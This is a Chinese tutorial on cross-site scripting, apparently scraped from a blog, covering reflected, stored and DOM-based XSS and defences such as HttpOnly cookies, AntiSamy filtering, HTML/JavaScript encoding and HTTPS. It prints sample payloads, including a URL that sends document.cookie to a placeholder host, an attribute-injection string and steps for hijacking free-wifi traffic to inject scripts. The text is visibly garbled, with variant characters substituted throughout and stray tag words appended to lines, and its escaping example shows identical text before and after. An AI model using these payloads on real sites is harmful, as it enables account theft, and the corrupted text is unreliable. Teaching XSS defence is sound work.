XSS漏洞是最普遍、做用最关键的web安全漏洞之一。在绝大多数网络攻击中都是把XSS做为漏洞链中的第一环,经过XSS,黑客能够获得的最直接利益就是拿到用户浏览器的cookie,从而变相盗取用户的帐号密码。javascript
一些XSS的传播性极强,因为web的特色是轻量级、灵活性高,每一个用户天天均可能访问不少web站点,每一个web站点天天都有成千上万的来访;另外一方面,若是将XSS攻击配合起一些系统内核级的漏洞,彻底可能在几个小时以内击垮几百万台智能设备。因此,掌握XSS渗透测试及防护,是很是重要的。html
关于XSS前端
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,因此容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML或者JS代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。java
现在的web前端开发者都应该清楚,在现代浏览器的同源策略保护下,浏览器的跨域行为受到了限制,而且从XSS漏洞攻击原理上讲,跨站这两个字其实没有什么必要。jquery
XSS(cross-site scripting跨域脚本攻击)攻击是最多见的Web攻击,其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:web
1. Reflected XSS(基于反射的XSS攻击)数据库
2. Stored XSS(基于存储的XSS攻击)后端
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)跨域
Reflected XSS浏览器
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
例子:
1. 作个假设,当亚马逊在搜索书籍,搜不到书的时候显示提交的名称。
2. 在搜索框搜索内容,填入“<script>alert('handsome boy')</script>”, 点击搜索。
3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
4. 进而能够构造获取用户cookies的地址,经过QQ群或者垃圾邮件,来让其余人点击这个地址:
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookie</script>
PS:这个地址固然是没效的,只是举例子而已。
结论:
若是只是一、二、3步作成功,那也只是本身折腾本身而已,若是第4步能作成功,才是个像样的XSS攻击。
开发安全措施:
1. 前端在显示服务端数据时候,不只是标签内容须要过滤、转义,就连属性值也均可能须要。
2. 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
例如:
标签:
<span><script>alert('handsome boy')</script></span>转义
<span><script>alert('handsome boy')</script></span>属性:
若是一个input的value属性值是
琅琊榜" onclick=javascript:alert('handsome boy')就可能出现
<input type="text" value="琅琊榜" onclick=javascript:alert('handsome boy')">点击input致使攻击脚本被执行,解决方式能够对script或者双引号进行过滤。
Stored XSS
基于存储的XSS攻击,是经过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每一个访问该帖子/文章的人就会触发执行。
例子:
1. 发一篇文章,里面包含了恶意脚本
今每天气不错啊!<script>alert('handsome boy')</script>2. 后端没有对文章进行过滤,直接保存文章内容到数据库。
3. 当其余看这篇文章的时候,包含的恶意脚本就会执行。
PS:由于大部分文章是保存整个HTML内容的,前端显示时候也不作过滤,就很可能出现这种状况。
结论:
后端尽量对提交数据作过滤,在场景需求而不过滤的状况下,前端就须要作些处理了。
开发安全措施:
1. 首要是服务端要进行过滤,由于前端的校验能够被绕过。
2. 当服务端不校验时候,前端要以各类方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。
DOM-based or local XSS
基于DOM或本地的XSS攻击。通常是提供一个免费的wifi,可是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须通过服务器返回就是基于本地的XSS攻击。
例子1:
1. 提供一个免费的wifi。
1. 开启一个特殊的DNS服务,将全部域名都解析到咱们的电脑上,并把Wifi的DHCP-DNS设置为咱们的电脑IP。
2. 以后连上wifi的用户打开任何网站,请求都将被咱们截取到。咱们根据http头中的host字段来转发到真正服务器上。
3. 收到服务器返回的数据以后,咱们就能够实现网页脚本的注入,并返回给用户。
4. 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的经常使用脚本库。
PS:例子和图片来自,http://www.cnblogs.com/index-html/p/wifi_hijack_3.html#!comments
这个其实就是wifi流量劫持,中间人能够看到用户的每个请求,能够在页面嵌入恶意代码,使用恶意代码获取用户的信息,能够返回钓鱼页面。
例子2:
1. 仍是提供一个免费wifi
2. 在咱们电脑上进行抓包
3. 分析数据,能够获取用户的微信朋友圈、邮箱、社交网站账号数据(HTTP)等。
结论:
这攻击其实跟网站自己没有什么关系,只是数据被中间人获取了而已,而因为HTTP是明文传输的,因此是很可能被窃取的。
开发安全措施:
使用HTTPS!就跟我前面《HTTP与HTTPS握手的那些事》这篇文章说的,HTTPS会在请求数据以前进行一次握手,使得客户端与服务端都有一个私钥,服务端用这个私钥加密,客户端用这个私钥解密,这样即便数据被人截取了,也是加密后的数据。
小结:
XSS攻击的特色就是:尽一切办法在目标网站上执行非目标网站上原有的脚本(某篇文章说的)。
本地的XSS攻击的示例2其实不算XSS攻击,只是简单流量劫持。前两种XSS攻击是咱们开发时候要注意的,而流量劫持的则可使用HTTPS提升安全性。
** XSS攻击的解决办法
XSS的攻击五花八门,有没有一招“独孤九剑”可以抗衡,毕竟那么多状况场景,开发人员没法一一照顾过来。下文中,把对应对方式作了总结,分为两类:一是服务端能够干的事,二是客户端能够干的事。
前提:
在说XSS解决方式时,有一个前提。就是同源策略——浏览器的同源策略(浏览器安全的基础,即便是攻击脚本也要遵照这法则),限制了来自不一样源的“document”或脚本,对当前“document”读取或设置某些属性。除了DOM、Cookie、XMLHttpRequest会受到同源策略的限制外,浏览器加载的一些第三方插件也有各自的同源策略。不过script、img、iframe、link等标签均可以跨域加载资源,而不受同源策略的限制。
服务端能够干的事
1. HttpOnly其实就是如今HTTP协议(HTTPS也是能够的)才能读取cookies,JavaScript是读取不到cookies的。支持浏览器是IE6+、Firefox2+、Google、Safari4+。JavaEE给Cookie添加HttpOnly的代码:response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");PS:对于HTTPS,仍是能够设置Secure字段,对Cookie进行安全加密。这是本质上不是预防XSS,而是在被攻破时候不容许JS读取Cookie。
2.处理富文本有些数据由于使用场景问题,并不能直接在服务端进行转义存储。不过富文本数据语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性中,因此能够当特殊状况特殊处理。处理的过程是在服务端配置富文本标签和属性的白名单,不容许出现其余标签或属性(例如script、iframe、form等),即”XSS Filter“。而后在存储以前进行过滤(过滤原理没有去探明)。Java有个开源项目Anti-Samy是很是好的XSS Filter:Policy ploicy = Policy.getInstance(POLICY_FILE_LOCATION);AntiSamy as = new AntiSamy();CleanResults cr = as.scan(dirtyInput, policy);MyUserDao.storeUserProfile(cr.getCleanHTML());PS:固然也能够在前端显示前过滤,可是我以为,让前端人员少作东西好,而且服务端只须要转一次。
客户端能够干的事:
1. 输入检查输入检查的逻辑,必须放在服务器端代码中实现(由于用JavaScript作输入检查,很容易被攻击者绕过)。目前Web开发的广泛作法,是同时在客户端JavaScript中和服务器代码中实现相同的输入检查。客户端JavaScript的输入检查,能够阻挡大部分误操做的正经常使用户,从而节约服务资源。PS:简单说,就是输入检查,服务端和客户端都要作。另外攻击者可能输入XSS的地方,例如:页面中全部的input框window.location(href、hash等)window.namedocument.referrerdocument.cookielocalstorageXMLHttpRequest返回的数据
2. 输出检查通常就是在变量输出到HTML页面时,使用编码或转义的方式来防护XSS攻击。XSS的本质就是“HTML注入”,用户的数据被当成了HTML代码一部分来执行,从而混淆了本来的语义,产生了新的语义。触发XSS的地方document.writexxx.innerHTML=xxx.outerHTML=innerHTML.replacedocument.attachEventwindow.attachEventdocument.location.replacedocument.location.assignPS:若是使用jquery,就是那些append、html、before、after等,其实就是拼接变量到HTML页面时产生。大部分的MVC框架在模板(view层)会自动处理XSS问题,例如AngularJS。
用什么编码转义
主要有HTMLEncode和JavaScriptEncode这两个,客户端和服务端都能作。可是让后端去作,我感受是不大靠谱的,由于数据的使用场景可能有几种,能够在标签、属性、或脚本里(甚至其余终端使用),单单以一种方式去encode是很极限的。
1.HTMLEncode,就是将字符转换成HTMLEntities,通常会转(&、<、>、"、'、/)这6个字符。
2.JavaScriptEncode,是使用”\“对特殊字符进行转义。
哪些地方须要编转义
1.在HTML标签、属性中输出——用HTMLEncode
2.在script标签中输出——用JavaScriptEncode
3.在事件中输出——用JavaScriptEncode<a href="#" onclick="funcA('$var')">test</a>
4.在CSS中输出用相似JavaScriptEncode的方式。将除了字母、数字外的全部字符都编码成十六进制形式”\uHH“。
5.在地址中输出通常若是变量是整个URL,则先检查变量是否以“http”开头(不是则帮忙添加http),保证不会出现伪协议类的XSS攻击。而后再对变量进行URLEncode。
PS:URLEncode会将字符转换成”%HH“形式。
总结:
前端开发人员要注意在正确的地方使用正确的编码方式,有时为了防护XSS,在一个地方咱们须要联合HTMLEncode、JavaScriptEncode进行编码,甚至是叠加,并非固定一种方式编码(又是具体状况具体分析)。
通常存储型XSS风险高于反射型XSS。反射型XSS通常要求攻击者诱使用户点击一个包含XSS代码的URL连接;而存储型只须要用户查看一个正常的URL连接,当用户打开页面时,XSS Payload就会被执行。这样漏洞极其隐蔽,且埋伏在用户的正常业务中,风险很高。